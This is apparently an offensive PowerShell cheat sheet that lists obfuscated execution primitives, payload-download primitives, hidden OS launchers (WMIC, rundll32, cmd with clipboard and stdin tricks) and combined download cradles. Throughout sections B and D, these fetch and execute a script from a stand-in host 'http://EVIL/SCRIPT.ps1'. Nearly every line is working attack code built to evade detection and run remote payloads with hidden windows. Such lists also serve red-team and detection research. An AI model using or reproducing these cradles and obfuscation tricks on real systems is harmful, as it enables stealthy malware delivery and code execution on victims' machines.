0) Extra goodies
Obfuscated FromBase64String with -bxor nice for dynamic strings deobfuscation:
$t=([type]('{1}{0}'-f'vert','Con'));($t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('Yk9CA05CA0hMV0I=')|%{$_-bxor35}|%{[char]$_})-join''
A) Powershell Code Execution primitives
Scriptblock :
[scriptblock]::Create('Get-Service').Invoke()
PS1.0 Invoke
$ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|Where{$_.Name-ilike'In*'}).Name).Invoke('Get-Service')
Get-Alias:
&(DIR Alias:/I*X)'Get-Service'
Get-Command:
&(GCM I*e-E*)
Powershell Runspace
[PowerShell]::Create().(([PowerShell]::Create()|Member)[5].Name).Invoke('Get-Service').Invoke()
Concatenated IEX:
&(''.SubString.ToString()[67,72,64]-Join'')'Get-Service'
Invoke-AsWorkflow (PS3.0+)
Invoke-AsWorkflow -Ex ('Get-Service')
B) Powershell Payload Download primitives
Invoke-RestMethod (PS3.0+)
('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})
Obfuscated Net.WebClient.DownloadString:
$w=(New-Object Net.WebClient);$w.(((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('http://EVIL/SCRIPT.ps1')
Net.WebRequest:
[IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse().GetResponseStream()).ReadToEnd()
Msxml2.XMLHTTP COM object:
$c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);$c.Send();$c.ResponseText
C) Operating-System Launcher primitives
WMIC:
WMIc "pROCESs" cALl crEATE "PoWErSheLL -WInDowstyLE HIdDEn -NonINTErA Get-Service"
Rundll32 SHELL32.DLL,ShellExec_RunDLL
RuNDlL32.exE SHELL32,ShellExec_RunDLL "POWERsHeLL" "-w 1" " -NonInter " "-CO " "Get-Service"
Cmd + set VAR && Powershell iex VAR
cmd /c"sEt sqm=Get-Service&&PowErsHeLl -WinDoWstY hIDDeN -NoniNtERActi -coMmand .( ${E`NV:Com`sp`ec}[4,26,25]-JOIn'')( ( ^&( \"{2}{1}{0}\"-f'm','eT-ITe','G' ) ( \"{1}{0}{2}\" -f'v:S','En','qm') ).\"vaL`Ue\")"
Cmd + Echo | Powershell - (stdin)
CmD.exE /c" ECho/Get-Service | PoWeRsheLL -nOninT -WindOw hiDDe -ComM (gcI 'vARiaBLE:eX*xT').vAluE.InvoKECOmmanD.InVOkESCript($inPut )"
Cmd + Echo | Clip && Powershell iex clipboard
cmd /C" ECHO/Get-Service|cLIP&& POweRsHElL -Windo hIDd -NONINTe -St -ComMaN . ( \"{0}{1}{2}\"-f'Ad','d-',( \"{0}{1}\" -f 'Ty','pe') ) -AN ( \"{0}{2}{4}{1}{3}\"-f'P',(\"{0}{1}\" -f'a','tio'),'res',( \"{0}{1}\" -f'n','Core' ),'ent' ) ; ^& ( ( [sTriNG]${ve`R`B`oSepRE`F`eRENce} )[1,3] + 'x'-joiN'' ) (( [WInDoWS.cLipBoARd]::( \"{1}{2}{0}\" -f't','Get','Tex').\"i`N`VoKE\"( )) ) ; [Windows.Clipboard]::( \"{1}{0}\" -f'ar','Cle').\"I`Nv`OkE\"( )"
D) Combined Download Cradles
PowerShell 3.0+
IEX (iwr 'http://EVIL/SCRIPT.ps1')
Normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/SCRIPT.ps1")
Download Cradle combining ScriptBlock + Invoke-RestMethod
[scriptblock]::Create(('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})).Invoke()
Msxml2.XMLHTTP COM object with Scriptblock:
$c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);$c.Send();[scriptblock]::Create($c.ResponseText).Invoke()
Minimized Net.WebRequest combined with ScriptBlock execution:
[scriptblock]::Create([IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse().GetResponseStream()).ReadToEnd()).Invoke()
A bit obfuscated Net.WebClient.DownloadString with Get-Alias IEX variant:
$w=(New-Object Net.WebClient);$w.(((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('http://EVIL/SCRIPT.ps1')|&(DIR Alias:/I*X)
Obfuscated Net.HttpWebRequest with _Get-Command IEX`:
$h=[tYpE]('{1}{2}{0}'-f('pWebRe'+'quest'),'Ne','t.Htt');$v=((((gET-vAriABLE h).vAlue::Create('http://EVIL/SCRIPT.ps1').PSObject.Methods|?{$_.Name-clike'G*se'}).Invoke()).PSObject.Methods|?{$_.Name-clike'G*eam'}).Invoke();$r='';Try{While($r+=[Char]$v.ReadByte()){}}Catch{};&(GCM *ke-*pr*)$r
